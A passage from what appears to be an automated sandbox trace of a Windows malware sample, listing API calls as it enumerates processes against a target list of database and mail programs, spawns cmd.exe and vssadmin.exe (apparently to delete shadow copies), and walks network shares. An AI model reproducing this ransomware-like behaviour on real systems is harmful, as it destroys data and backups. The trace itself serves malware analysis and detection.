th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.221] lstrlenW (lpString="csrss.exe") returned 9 [0061.221] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0061.221] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0061.221] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0061.221] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0061.221] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0061.221] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0061.221] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0061.222] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0061.222] lstrlenW (lpString="wininit.exe") returned 11 [0061.222] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0061.222] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0061.222] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0061.222] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0061.223] lstrlenW (lpString="csrss.exe") returned 9 [0061.223] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0061.224] lstrlenW (lpString="winlogon.exe") returned 12 [0061.224] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0061.224] lstrlenW (lpString="services.exe") returned 12 [0061.224] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0061.225] lstrlenW (lpString="lsass.exe") returned 9 [0061.225] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0061.226] lstrlenW (lpString="lsm.exe") returned 7 [0061.226] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.226] lstrlenW (lpString="svchost.exe") returned 11 [0061.226] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.227] lstrlenW (lpString="svchost.exe") returned 11 [0061.227] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.228] lstrlenW (lpString="svchost.exe") returned 11 [0061.228] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.228] lstrlenW (lpString="svchost.exe") returned 11 [0061.228] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x33, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.229] lstrlenW (lpString="svchost.exe") returned 11 [0061.229] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0061.230] lstrlenW (lpString="audiodg.exe") returned 11 [0061.230] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.230] lstrlenW (lpString="svchost.exe") returned 11 [0061.230] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.231] lstrlenW (lpString="svchost.exe") returned 11 [0061.231] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0061.232] lstrlenW (lpString="dwm.exe") returned 7 [0061.232] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0061.232] lstrlenW (lpString="explorer.exe") returned 12 [0061.232] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0061.233] lstrlenW (lpString="spoolsv.exe") returned 11 [0061.233] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.234] lstrlenW (lpString="taskhost.exe") returned 12 [0061.234] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.234] lstrlenW (lpString="svchost.exe") returned 11 [0061.234] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0061.235] lstrlenW (lpString="taskeng.exe") returned 11 [0061.235] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0061.236] lstrlenW (lpString="taskhost.exe") returned 12 [0061.236] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="presidential.exe")) returned 1 [0061.236] lstrlenW (lpString="presidential.exe") returned 16 [0061.236] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x660, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ol-filing.exe")) returned 1 [0061.237] lstrlenW (lpString="ol-filing.exe") returned 13 [0061.237] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="overcome.exe")) returned 1 [0061.238] lstrlenW (lpString="overcome.exe") returned 12 [0061.238] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="declinedreferral.exe")) returned 1 [0061.238] lstrlenW (lpString="declinedreferral.exe") returned 20 [0061.238] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x328, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="franciscotrack.exe")) returned 1 [0061.239] lstrlenW (lpString="franciscotrack.exe") returned 18 [0061.239] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="nicholas.exe")) returned 1 [0061.240] lstrlenW (lpString="nicholas.exe") returned 12 [0061.240] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="asbestosauthentication.exe")) returned 1 [0061.423] lstrlenW (lpString="asbestosauthentication.exe") returned 26 [0061.423] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="word.exe")) returned 1 [0061.424] lstrlenW (lpString="word.exe") returned 8 [0061.424] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="semestermeta.exe")) returned 1 [0061.424] lstrlenW (lpString="semestermeta.exe") returned 16 [0061.424] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="reflects.exe")) returned 1 [0061.425] lstrlenW (lpString="reflects.exe") returned 12 [0061.425] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="beveragesradios.exe")) returned 1 [0061.425] lstrlenW (lpString="beveragesradios.exe") returned 19 [0061.426] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="shaved_extraordinary.exe")) returned 1 [0061.426] lstrlenW (lpString="shaved_extraordinary.exe") returned 24 [0061.426] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="ground.exe")) returned 1 [0061.427] lstrlenW (lpString="ground.exe") returned 10 [0061.427] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="least.exe")) returned 1 [0061.428] lstrlenW (lpString="least.exe") returned 9 [0061.428] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="meetings.exe")) returned 1 [0061.428] lstrlenW (lpString="meetings.exe") returned 12 [0061.428] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="wooltestimony.exe")) returned 1 [0061.429] lstrlenW (lpString="wooltestimony.exe") returned 17 [0061.429] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="inexpensive.exe")) returned 1 [0061.430] lstrlenW (lpString="inexpensive.exe") returned 15 [0061.430] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x90, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="er-amd.exe")) returned 1 [0061.430] lstrlenW (lpString="er-amd.exe") returned 10 [0061.430] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="abandoned_frames.exe")) returned 1 [0061.431] lstrlenW (lpString="abandoned_frames.exe") returned 20 [0061.431] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x40c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0061.432] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0061.432] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x934, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1 [0061.432] lstrlenW (lpString="payload2.exe") returned 12 [0061.432] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x934, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0061.433] lstrlenW (lpString="cmd.exe") returned 7 [0061.433] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x964, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0061.434] lstrlenW (lpString="conhost.exe") returned 11 [0061.434] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x99c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x940, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0061.434] lstrlenW (lpString="vssadmin.exe") returned 12 [0061.434] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0061.435] lstrlenW (lpString="VSSVC.exe") returned 9 [0061.435] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0061.436] lstrlenW (lpString="svchost.exe") returned 11 [0061.436] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0061.436] lstrlenW (lpString="LogonUI.exe") returned 11 [0061.436] Process32NextW (in: hSnapshot=0x238, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0061.437] CloseHandle (hObject=0x238) returned 1 [0061.437] Sleep (dwMilliseconds=0x1f4) Thread: id = 5 os_tid = 0x94c [0031.958] WaitForSingleObject (hHandle=0x18fde4, dwMilliseconds=0xffffffff) returned 0xffffffff [0031.958] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x254a38 | out: hHeap=0x220000) returned 1 Thread: id = 6 os_tid = 0x950 [0031.959] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x254a38 [0031.975] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x254a38, Size=0x20) returned 0x255ca8 [0031.975] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255ca8, Size=0x40) returned 0x256c38 [0031.975] GetLogicalDrives () returned 0x4 [0031.975] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xfffe) returned 0x28e4a0 [0031.975] GetComputerNameW (in: lpBuffer=0x28e4a4, nSize=0x233ff6c | out: lpBuffer="XDUWTFONO", nSize=0x233ff6c) returned 1 [0031.975] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1000) returned 0x29e4a8 [0031.975] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x233ff3c | out: lphEnum=0x233ff3c*=0x2561a8) returned 0x0 [0031.976] WNetEnumResourceW (in: hEnum=0x2561a8, lpcCount=0x233ff38, lpBuffer=0x29e4a8, lpBufferSize=0x233ff40 | out: lpcCount=0x233ff38, lpBuffer=0x29e4a8, lpBufferSize=0x233ff40) returned 0x103 [0031.976] WNetCloseEnum (hEnum=0x2561a8) returned 0x0 [0031.976] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x233ff3c | out: lphEnum=0x233ff3c*=0x3eb2248) returned 0x0 [0036.471] WNetEnumResourceW (in: hEnum=0x3eb2248, lpcCount=0x233ff38, lpBuffer=0x29e4a8, lpBufferSize=0x233ff40 | out: lpcCount=0x233ff38, lpBuffer=0x29e4a8, lpBufferSize=0x233ff40) returned 0x0 [0036.471] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1000) returned 0x3f30318 [0036.471] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x29e4a8, lphEnum=0x233ff10 | out: lphEnum=0x233ff10*=0x256328) returned 0x0 [0036.789] WNetEnumResourceW (in: hEnum=0x256328, lpcCount=0x233ff0c, lpBuffer=0x3f30318, lpBufferSize=0x233ff14 | out: lpcCount=0x233ff0c, lpBuffer=0x3f30318, lpBufferSize=0x233ff14) returned 0x103 [0036.789] WNetCloseEnum (hEnum=0x256328) returned 0x0 [0036.789] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1000) returned 0x3f31320 [0036.789] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x29e4c8, lphEnum=0x233ff10 | out: lphEnum=0x233ff10*=0x0) returned 0x4b8 [0058.441] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x1000) returned 0x3f35340 [0058.441] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x29e4e8, lphEnum=0x233ff10 | out: lphEnum=0x233ff10*=0x0) returned 0x4c6 [0058.575] WNetEnumResourceW (in: hEnum=0x3eb2248, lpcCount=0x233ff38, lpBuffer=0x29e4a8, lpBufferSize=0x233ff40 | out: lpcCount=0x233ff38, lpBuffer=0x29e4a8, lpBufferSize=0x233ff40) returned 0x103 [0058.575] WNetCloseEnum (hEnum=0x3eb2248) returned 0x0 [0058.575] GetLogicalDrives () returned 0x4 [0058.575] Sleep (dwMilliseconds=0x64) [0059.025] GetLogicalDrives () returned 0x4 [0059.026] Sleep (dwMilliseconds=0x64) [0059.496] GetLogicalDrives () returned 0x4 [0059.496] Sleep (dwMilliseconds=0x64) [0059.654] GetLogicalDrives () returned 0x4 [0059.654] Sleep (dwMilliseconds=0x64) [0060.384] GetLogicalDrives () returned 0x4 [0060.385] Sleep (dwMilliseconds=0x64) [0060.647] GetLogicalDrives () returned 0x4 [0060.647] Sleep (dwMilliseconds=0x64) [0061.072] GetLogicalDrives () returned 0x4 [0061.073] Sleep (dwMilliseconds=0x64) [0061.422] GetLogicalDrives () returned 0x4 [0061.422] Sleep (dwMilliseconds=0x64) Thread: id = 7 os_tid = 0x954 [0031.978] GetTickCount () returned 0x181fb [0031.978] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x24) returned 0x27b338 [0031.978] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x27b338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120 [0031.988] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x27b338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x124 [0031.990] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x27b338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0031.992] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x27b338, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138 [0032.042] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2701d0 [0032.042] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2701d0, Size=0x20) returned 0x255c58 [0032.042] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x2701d0 [0032.042] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2701d0, Size=0x20) returned 0x255be0 [0032.042] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0032.737] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0032.737] Wow64DisableWow64FsRedirection (in: OldValue=0x247ff84 | out: OldValue=0x247ff84*=0x0) returned 1 [0032.737] lstrlenW (lpString="kernel32.dll") returned 12 [0032.737] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255c58 | out: hHeap=0x220000) returned 1 [0032.737] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0032.737] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255be0 | out: hHeap=0x220000) returned 1 [0032.737] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x25b430, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0032.739] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0032.930] GetTickCount () returned 0x183af [0032.930] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0033.195] GetTickCount () returned 0x1846b [0033.195] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0033.831] GetTickCount () returned 0x18507 [0033.831] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0034.002] GetTickCount () returned 0x185a3 [0034.002] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0034.349] GetTickCount () returned 0x18709 [0034.349] GetTickCount () returned 0x18709 [0034.349] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0034.680] GetTickCount () returned 0x18851 [0034.680] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0034.897] GetTickCount () returned 0x1892b [0034.897] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0035.353] GetTickCount () returned 0x18ae0 [0035.353] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0035.564] GetTickCount () returned 0x18bbb [0035.564] GetTickCount () returned 0x18bbb [0035.564] WaitForSingleObject (hHandle=0x140, dwMilliseconds=0x64) returned 0x102 [0035.941] GetTickCount () returned 